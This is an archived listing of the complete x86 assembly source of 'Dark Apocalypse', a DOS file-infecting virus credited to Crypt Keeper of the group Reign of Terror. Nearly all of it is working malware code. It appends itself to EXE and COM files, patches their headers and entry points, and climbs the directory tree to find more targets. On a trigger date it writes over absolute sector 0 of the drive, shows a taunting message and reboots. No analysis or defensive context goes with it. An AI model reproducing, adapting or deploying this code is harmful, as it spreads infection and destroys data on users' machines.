home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DARKAPOC.ASM < prev    next >
Assembly Source File  |  1995-01-02  |  17KB  |  548 lines

  1.  
  2. CODE    SEGMENT
  3.     ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
  4.  
  5. VTOP    EQU    $                      ;Top of virus code
  6.  
  7. ;Equates --------------------------------------------------------------------
  8.  
  9. VLENGTH    EQU    VBOT-VTOP              ;Length of virus in bytes
  10. MAXINF    EQU    3                      ;Max files to infect in each directory
  11. VLPARA    EQU    (VLENGTH/16)+1         ;Virus length in paragraphs
  12. IDWORD    EQU    0FFEEh                 ;ID word (for EXE files)
  13.  
  14. ;----------------------------------------------------------------------------
  15.  
  16.     LEA AX,[BP+(OFFSET(STACK1)+64)] ;Get stack pointer
  17.     MOV SP,AX
  18.  
  19.     CALL GETDELTA
  20. GETDELTA:
  21.     POP BP
  22.     SUB BP,OFFSET(GETDELTA)        ;Find delta offset
  23.  
  24.     PUSH DS
  25.     PUSH ES                        ;Save original segment regs (EXE)
  26.  
  27.     PUSH CS
  28.     POP DS
  29.     PUSH CS
  30.     POP ES                         ;Set up new segments
  31.  
  32.     CLD                            ;Clear direction flag
  33.  
  34.     LEA SI,[BP+OFFSET(ORIGBYT)]
  35.     LEA DI,[BP+OFFSET(OLD_OB)]
  36.     MOV CX,BCLEN
  37.     REP MOVSB                      ;Shadow saved bytes into buffer
  38.  
  39.     LEA SI,[BP+OFFSET(ORIG_IP)]
  40.     LEA DI,[BP+OFFSET(ORIGIP)]
  41.     MOV CX,4
  42.     REP MOVSW                      ;Shadow EXE header information
  43.  
  44.     MOV AH,2Ah                     ;Get date
  45.     INT 21h
  46.  
  47.     CMP AL,1                       ;Monday?
  48.     JNE NOTRIGGER                  ;If not, don't trigger
  49.  
  50.     CMP DL,16                      ;The 16th?
  51.     JNE NOTRIGGER                  ;If not, don't trigger
  52.  
  53.     MOV AH,19h                     ;Get default drive
  54.     INT 21h
  55.  
  56.     LEA BX,[BP+OFFSET(REBOOTCOD)]  ;Offset of reboot code
  57.     MOV CX,1                       ;Number of sectors to write
  58.     XOR DX,DX                      ;Start at absolute sector 0
  59.  
  60.     INT 26h                        ;Absolute disk write
  61.     JC WRITE_ERROR                 ;Skip POPF if error
  62.  
  63.     POPF                           ;Pop flags (after INT 26h return)
  64. WRITE_ERROR:
  65.     LEA DX,[BP+OFFSET(MESSAGE)]    ;Display message
  66.     MOV AH,9                       ;Print string
  67.     INT 21h
  68.  
  69.     INT 05h                        ;Print screen
  70.     
  71.     XOR AH,AH                      ;Read keyboard
  72.     INT 16h                        ;BIOS keyboard interrupt
  73.  
  74.     JMP REBOOTCOD                  ;Reboot the machine
  75. NOTRIGGER:
  76.     LEA SI,[BP+OFFSET(ORIGDIR)]    ;Save original directory name
  77.     XOR DL,DL                      ;from current drive
  78.  
  79.     MOV AH,47h                     ;Get current directory
  80.     INT 21h
  81. DIRSCAN:
  82.     LEA SI,[BP+OFFSET(OLDDIR)]     ;Save old directory name
  83.     XOR DL,DL                      ;from current drive
  84.  
  85.     MOV AH,47h                     ;Get current directory
  86.     INT 21h
  87.  
  88.     MOV AX,WORD PTR [BP+OFFSET(OLDDIR)] ;Get first 2 bytes of old DIR
  89.     CMP AX,'\'                    ;Root directory?
  90.     JE NOMORE_DIRS                 ;If so, end scan
  91.  
  92.     MOV DL,[BP+OFFSET(COMID)]
  93.     PUSH DX                        ;Save COM ID
  94.  
  95.     CALL INFECT                    ;Attempt to infect files in directory
  96.  
  97.     POP DX
  98.     MOV [BP+OFFSET(COMID)],DL      ;Restore COM ID
  99.  
  100.     LEA DX,[BP+OFFSET(CHDIR)]      ;Offset of directory name
  101.  
  102.     MOV AH,3Bh                     ;Change current directory
  103.     INT 21h
  104.  
  105.     JC NOMORE_DIRS                 ;If error, end scan
  106.     JMP SHORT DIRSCAN
  107. NOMORE_DIRS:
  108.     LEA DX,[BP+OFFSET(ORIGDIR)]    ;Reset original directory
  109.     
  110.     MOV AH,3Bh                     ;Change current directory
  111.     INT 21h
  112.     
  113.     MOV DL,0FFh
  114.     CMP [BP+OFFSET(COMID)],DL      ;Is this a .COM file
  115.     JE RET_COM                     ;If so, execute .COM file return
  116.     
  117.     MOV AH,51h                     ;Get PSP adress
  118.     INT 21h
  119.  
  120.     ADD BX,16                      ;Compensate for PSP size
  121.  
  122.     POP ES
  123.     POP DS                         ;Restore original ES and DS from EXE
  124.     
  125.     CLI                            ;Clear interrupts for stack change
  126.  
  127.     MOV AX,CS:[BP+OFFSET(ORIGSP)]
  128.     MOV SP,AX
  129.     MOV AX,CS:[BP+OFFSET(ORIGSS)]
  130.     ADD AX,BX                      ;Find segment for SS
  131.     MOV SS,AX                      ;Reset original EXE stack
  132.     
  133.     STI
  134.  
  135.     ADD CS:[BP+OFFSET(ORIGCS)],BX  ;Find segment for CS
  136.  
  137.     JMP DWORD PTR CS:[BP+OFFSET(ORIGIP)] ;Far jump to original EXE code
  138. RET_COM:
  139.     POP AX
  140.     POP AX                         ;Get "EXE stuff" off stack
  141.  
  142.     LEA SI,[BP+OFFSET(OLD_OB)]     ;Original bytes from .COM file
  143.     MOV DI,100h                    ;Put at .COM entry point
  144.     MOV CX,BCLEN                   ;Move length of original bytes
  145.     
  146.     REP MOVSB                      ;Replace bytes of original .COM file
  147.     
  148.     MOV AX,100h
  149.     PUSH AX
  150.     RET                            ;Jump to original .COM code
  151.                     
  152. INFECT:
  153.     MOV AH,2Fh                     ;Get disk transfer adress
  154.     INT 21h
  155.  
  156.     MOV [BP+OFFSET(OLDDTAS)],ES
  157.     MOV [BP+OFFSET(OLDDTAO)],BX    ;Old disk transfer adress
  158.  
  159.     PUSH CS
  160.     POP ES
  161.  
  162.     LEA DX,[BP+OFFSET(NEWDTA)]     ;New disk transfer adress
  163.  
  164.     MOV AH,1Ah                     ;Set disk transfer adress
  165.     INT 21h
  166.  
  167. FINDEXE:
  168.     XOR SI,SI                      ;Zero counter
  169.  
  170.     MOV CX,4                       ;Search for all normal files
  171.     LEA DX,[BP+OFFSET(SSPEC1)]     ;Search for *.EXE
  172.  
  173.     MOV AH,4Eh                     ;Find first file
  174.     INT 21h
  175.  
  176.     JNC DISEASE_EXE                ;Carry set means no more .EXE files
  177.     JMP NOMORE_EXE
  178. FIND_NEXT_EXE:
  179.     MOV AH,4Fh                     ;Find next file
  180.     INT 21h
  181.  
  182.     JNC DISEASE_EXE                ;Carry set means no more .EXE files
  183.     JMP NOMORE_EXE
  184. DISEASE_EXE:
  185.     XOR CX,CX                      ;Set attributes to normal
  186.     LEA DX,[BP+OFFSET(FNAME)]      ;on file to infect
  187.  
  188.     MOV AX,4301h                   ;Set file atttibutes
  189.     INT 21h
  190.  
  191.     MOV AX,3D02h                   ;Open file for READ/WRITE access
  192.     INT 21h
  193.  
  194.     MOV [BP+OFFSET(THANDLE)],AX    ;File handle
  195.  
  196.     MOV BX,AX
  197.     MOV CX,28                      ;Read 28 bytes (EXE header)
  198.     LEA DX,[BP+OFFSET(EXEHEADER)]  ;Exe header buffer
  199.  
  200.     MOV AH,3Fh                     ;Read file or device
  201.     INT 21h
  202.  
  203.     MOV AX,IDWORD
  204.     CMP [BP+OFFSET(SSSP)],AX       ;Is EXE already infected?
  205.     JNE GO_AHEAD_INFECT            ;If not, go ahead
  206.     JMP END_EXE_INFECTION          ;If so, end routine
  207.  
  208. GO_AHEAD_INFECT:
  209.     XOR AX,AX
  210.     MOV [BP+OFFSET(COMID)],AL      ;Zero .COM ID field
  211.  
  212.     PUSH SI                        ;Save counter
  213.  
  214.     LES SI,[BP+OFFSET(CSIP)]       ;Get CS:IP from EXE header
  215.     MOV [BP+OFFSET(ORIG_IP)],SI
  216.     MOV [BP+OFFSET(ORIG_CS)],ES    ;Set fields in virus code
  217.  
  218.     LES SI,[BP+OFFSET(SSOFS)]      ;Get SP:SS (reversed) from EXE header
  219.     MOV [BP+OFFSET(ORIG_SP)],ES
  220.     MOV [BP+OFFSET(ORIG_SS)],SI    ;Set fields in virus code
  221.  
  222.     POP SI                         ;Restore counter
  223.  
  224.     PUSH CS
  225.     POP ES
  226.  
  227.     XOR CX,CX
  228.     XOR DX,DX                      ;Move file pointer zero bytes
  229.  
  230.     MOV AX,4202h                   ;Move to end of file
  231.     INT 21h
  232.  
  233.     MOV CX,16
  234.     DIV CX                         ;Divide file size by 16 (paragraph)
  235.  
  236.     PUSH AX
  237.     SUB AX,[BP+OFFSET(HEADSIZ)]    ;Subtract header size from paragraphs
  238.  
  239.     POP CX
  240.     CMP AX,CX
  241.     JA END_EXE_INFECTION           ;If file too small, end infection
  242.  
  243.     MOV [BP+OFFSET(CSIP)],DX
  244.     MOV [BP+OFFSET(CSOFS)],AX      ;Set CS:IP in EXE header
  245.  
  246.     MOV [BP+OFFSET(SSOFS)],AX
  247.     MOV CX,0FFEEh
  248.     MOV [BP+OFFSET(SSSP)],CX       ;Set SS:SP in EXE header
  249.  
  250.     MOV CX,VLPARA
  251.     ADD [BP+OFFSET(MINMEM)],CX     ;Add virus size in paragraphs to minmem
  252.  
  253.     MOV AX,[BP+OFFSET(ID_WORD)]    ;Get ID word from EXE header
  254.     CMP AX,'MZ'
  255.     JE EXE_OK
  256.     CMP AX,'ZM'
  257.     JE EXE_OK                      ;If a true EXE file, go ahead
  258.  
  259.     JMP SHORT END_EXE_INFECTION    ;If not (misnamed COM), end infection
  260.  
  261. EXE_OK:    MOV BX,[BP+OFFSET(THANDLE)]    ;Handle of target file
  262.     MOV CX,VLENGTH                 ;Write virus length in bytes
  263.     MOV DX,BP                      ;BP=Start of virus code
  264.     
  265.     MOV AH,40h                     ;Write file or device
  266.     INT 21h
  267.     
  268.     XOR CX,CX
  269.     XOR DX,DX                      ;Move file pointer zero bytes
  270.  
  271.     MOV AX,4202h                   ;Move to end of file
  272.     INT 21h
  273.     
  274.     MOV CX,512                     ;Divide by 512 bytes (page)
  275.     DIV CX
  276.  
  277.     CMP DX,00h
  278.     JE GO_AHEAD_SET                ;If no remainder, go ahead and set
  279.  
  280.     INC AX                         ;Add another page (last page)
  281.  
  282. GO_AHEAD_SET:
  283.     MOV [BP+OFFSET(TOTPAGE)],AX
  284.     MOV [BP+OFFSET(LAST512)],DX    ;Set new EXE file size
  285.  
  286.     CALL SEEKZERO                  ;Seek to position zero in file
  287.     
  288.     MOV CX,28                      ;Length of EXE header
  289.     LEA DX,[BP+OFFSET(EXEHEADER)]  ;Offset of header data
  290.     
  291.     MOV AH,40h                     ;Write file or device
  292.     INT 21h
  293.     
  294.     INC SI                         ;Increment counter
  295. END_EXE_INFECTION:
  296.     MOV BX,[BP+OFFSET(THANDLE)]    ;Handle of target file
  297.     MOV AH,3Eh                     ;Close file with handle
  298.     INT 21h
  299.     
  300.     CALL RESET_ATTR                ;Reset original attributes
  301.     
  302.     CMP SI,MAXINF                  ;Maximum counter reached?
  303.     JNE FNE                        ;If so, end all searches for directory
  304.     JMP NOMORE_FILES
  305.  
  306. FNE:    JMP FIND_NEXT_EXE              ;Find next file
  307.  
  308. RESET_ATTR:
  309.     MOV CX,[BP+OFFSET(ATTRIB)]     ;Reset old attributes
  310.     LEA DX,[BP+OFFSET(FNAME)]      ;on file just infected
  311.     
  312.     MOV AX,4301h                   ;Set file attributes
  313.     INT 21h
  314.     RET                            ;Return to caller
  315.  
  316. SEEKZERO:
  317.     XOR CX,CX
  318.     XOR DX,DX                      ;Change offset = 0
  319.  
  320.     MOV AX,4200h                   ;Move from beginning of file
  321.     INT 21h
  322.     RET                            ;Return to caller
  323.  
  324. NOMORE_EXE:
  325.     MOV CX,4                       ;Search for all normal files
  326.     LEA DX,[BP+OFFSET(SSPEC2)]     ;Search for *.COM
  327.     
  328.     MOV AH,4Eh                     ;Find first file
  329.     INT 21h
  330.     
  331.     JNC DISEASE_COM                ;Carry set means error
  332.     JMP NOMORE_FILES
  333. FIND_NEXT_COM:
  334.     MOV AH,4Fh                     ;Find next file
  335.     INT 21h
  336.  
  337.     JNC DISEASE_COM                ;Carry set means error
  338.     JMP NOMORE_FILES
  339. DISEASE_COM:
  340.     XOR CX,CX                      ;Set attributes to normal
  341.     LEA DX,[BP+OFFSET(FNAME)]      ;on file to infect
  342.  
  343.     MOV AX,4301h                   ;Set file atttibutes
  344.     INT 21h
  345.  
  346.     PUSH SI                        ;Save counter
  347.  
  348.     MOV SI,DX
  349.     LEA DI,[BP+OFFSET(CS2)]        ;Compare with "COMMAND.COM"
  350.     MOV CX,12                      ;11 bytes to compare
  351.  
  352.     REPE CMPSB                     ;Repeat until not equal
  353.  
  354.     POP SI                         ;Restore counter
  355.     
  356.     CMP CX,0                       ;All characters match?
  357.     JE END_COM_INFECTION           ;If so, end infection routine
  358.  
  359.     MOV AX,3D02h                   ;Open file for READ/WRITE access
  360.     INT 21h
  361.  
  362.     MOV BX,AX
  363.     MOV CX,2                       ;Read one word of data
  364.     LEA DX,[BP+OFFSET(CHKBUF)]     ;Buffer for word to check
  365.     
  366.     MOV AH,3Fh                     ;Read file or device
  367.     INT 21h
  368.     
  369.     MOV AX,[BP+OFFSET(CHKBUF)]
  370.     CMP AX,'MZ'
  371.     JE END_COM_INFECTION
  372.     CMP AX,'ZM'
  373.     JE END_COM_INFECTION           ;End infection if misnamed .EXE
  374.     
  375.     CMP AX,WORD PTR [BP+OFFSET(BRANCH)] ;Compare with start of branch code
  376.     JE END_COM_INFECTION           ;End infection if already infected
  377.  
  378.     CALL SEEKZERO                  ;Seek to position zero in file
  379.  
  380.     MOV CX,BCLEN                   ;Length of branch code
  381.     LEA DX,[BP+OFFSET(ORIGBYT)]    ;Save original bytes from COM file
  382.  
  383.     MOV AH,3Fh                     ;Read file or device
  384.     INT 21h
  385.  
  386.     XOR CX,CX
  387.     XOR DX,DX                      ;Move file pointer zero bytes
  388.  
  389.     MOV AX,4202h                   ;Move to end of file
  390.     INT 21h
  391.     
  392.     ADD AX,100h                    ;Compensate for PSP
  393.     MOV [BP+OFFSET(VOFFSET)],AX    ;Store virus offset in repeat code
  394.  
  395.     XOR AX,AX
  396.     MOV [BP+OFFSET(COMID)],AH      ;Zero .COM ID field
  397.  
  398.     MOV CX,VLENGTH
  399.     MOV DX,BP                      ;Delta offset = start of code
  400.  
  401.     MOV AH,40h                     ;Write file or device
  402.     INT 21h
  403.  
  404.     CALL SEEKZERO                  ;Seek to position zero
  405.     
  406.     MOV CX,BCLEN                   ;Length of branch code
  407.     LEA DX,[BP+OFFSET(BRANCH)]     ;Write branch code
  408.  
  409.     MOV AH,40h                     ;Write file or device
  410.     INT 21h
  411.  
  412.     INC SI                         ;Increment counter
  413. END_COM_INFECTION:
  414.     MOV AH,3Eh                     ;Close file with handle
  415.     INT 21h
  416.     
  417.     CALL RESET_ATTR                ;Reset original attributes
  418.     
  419.     CMP SI,MAXINF                  ;Maximum counter reached?
  420.     JE NOMORE_FILES                ;If so, end all searches for directory
  421.  
  422.     JMP FIND_NEXT_COM              ;Find next .COM file
  423. NOMORE_FILES:
  424.     LDS DX,[BP+OFFSET(OLDDTAO)]    ;Get old disk transfer adress
  425.  
  426.     MOV AH,1Ah                     ;Set disk transfer adress
  427.     INT 21h
  428.     
  429.     PUSH CS
  430.     POP DS
  431.  
  432.     RET                            ;Return to caller
  433.  
  434. ;Reboot code ----------------------------------------------------------------
  435.  
  436. REBOOTCOD:
  437.     MOV AX,0040h
  438.     MOV DS,AX
  439.     MOV BX,1234h
  440.     MOV WORD PTR DS:[0072h],BX     ;Warm reboot
  441.     DB    0EAh
  442.     DW    0
  443.     DW    0FFFFh                 ;JMP FFFF:0000 (hard coded)
  444.         
  445. ;Branch code ----------------------------------------------------------------
  446.  
  447. BCTOP    EQU    $                      ;Top of branch code
  448.  
  449. BRANCH:    XOR BP,DI                      ;Marker instruction
  450.     DB    0BBh                   ;MOV BX,
  451. VOFFSET    DW    0                      ;Offset of viral code
  452.     MOV DI,OFFSET(COMID)
  453.     ADD DI,BX                      ;Calculate location of COM id
  454.  
  455.     MOV AL,0FFh
  456.     STOSB                          ;Set COM file flag
  457.  
  458.     PUSH BX
  459.     RET                            ;Jump to virus code
  460.  
  461. BCBOT    EQU    $                      ;Bottom of branch code
  462. BCLEN    EQU    BCBOT-BCTOP            ;Length of branch code
  463.  
  464. ;Data -----------------------------------------------------------------------
  465.  
  466. CS2    DB    'COMMAND.COM',0        ;File to replace with reboot code
  467.     DB    0FFh
  468.  
  469. CHDIR    DB    '..',0                 ;Change directory string
  470.  
  471. MESSAGE    DB    13,10
  472.     DB    'Welcome to the Dark Apocalypse...  Your computer will',13,10
  473.     DB    'never escape... You might as well read this and weep!',13,10
  474.     DB    13,10
  475.     DB    'The Dark Apocalypse v1.00  by Crypt Keeper [RoT]',13,10
  476.     DB    'ò╖╖Reign of Terror╖╖ò  [DARK APOCALYPSE]',13,10
  477.     DB    13,10
  478.     DB    'Press any key to continue...$'
  479.  
  480. ORIG_IP    DW    0
  481. ORIG_CS    DW    0
  482. ORIG_SS    DW    0
  483. ORIG_SP    DW    0                      ;Original segments/pointers from EXEHDR
  484.  
  485. SSPEC1    DB    '*.EXE',0
  486. SSPEC2    DB    '*.COM',0              ;Search specs
  487.  
  488. ORIGBYT    DB    0CDh
  489.     DB    20h                    ;For proper .COM return to DOS
  490.     DB    BCLEN-2 DUP ('!')      ;Buffer for saved bytes from .COM files
  491.  
  492. COMID    DB    0FFh                   ;ID byte set to 0FFh by branch if .COM
  493.  
  494. ;----------------------------------------------------------------------------
  495.  
  496. VBOT    EQU    $                      ;Bottom of virus code
  497.  
  498. ;Heap -----------------------------------------------------------------------
  499.  
  500. ORIGIP    DW    0
  501. ORIGCS    DW    0
  502. ORIGSS    DW    0
  503. ORIGSP    DW    0                      ;Shadowed EXEHDR information
  504.  
  505. EXEHEADER:
  506. ID_WORD    DW    0                      ;ID word (ZM or MZ)
  507. LAST512    DW    0                      ;Number of bytes in last 512 byte page
  508. TOTPAGE    DW    0                      ;Total number of pages in file
  509. SEGENTS    DW    0                      ;Number of entries in segment table
  510. HEADSIZ    DW    0                      ;Size of header in paragraphs
  511. MINMEM    DW    0                      ;Minimum memory in paragraphs
  512. MAXMEM    DW    0                      ;Maximum memory in paragraphs
  513. SSOFS    DW    0                      ;Offset of SS from header (paragraphs)
  514. SSSP    DW    0                      ;Stack pointer offset
  515. NEGCHK    DW    0                      ;Negative checksum (ignored by DOS)
  516. CSIP    DW    0                      ;Offset of IP from CS (bytes)
  517. CSOFS    DW    0                      ;Offset of CS from header (paragraphs)
  518. RELOFS    DW    0                      ;Offset of relocation table from loc 0
  519. OVLNUM    DW    0                      ;Overlay number (ignored)
  520.  
  521. CHKBUF    DW    0                      ;Buffer for infection check (COM files)
  522. VSEG    DW    0                      ;Segment of virus in RAM
  523. THANDLE    DW    0                      ;File handle
  524.  
  525. OLDDIR    DB    70 DUP ('?')           ;Buffer for old directory name
  526. ORIGDIR    DB    70 DUP ('?')           ;Buffer for original directory name
  527.  
  528. OLDDTAO    DW    0
  529. OLDDTAS    DW    0                      ;Old disk transfer adress
  530.  
  531. OLD_OB    DB    BCLEN DUP ('%')        ;Buffer for shadow of old original code
  532.  
  533. STACK1    DB    64 DUP ('S')           ;Stack
  534.  
  535. NEWDTA:
  536.     DB    21 DUP (' ')           ;Reserved
  537. ATTRIB    DB    0                      ;Attributes of found file
  538. FTIME    DW    0                      ;Time of last write
  539. FDATE    DW    0                      ;Date of last write
  540. FSIZE    DD    0                      ;File size
  541. FNAME    DB    13 DUP ('?')           ;File name
  542.  
  543. ;----------------------------------------------------------------------------
  544.  
  545. CODE    ENDS
  546.     END
  547.  
  548.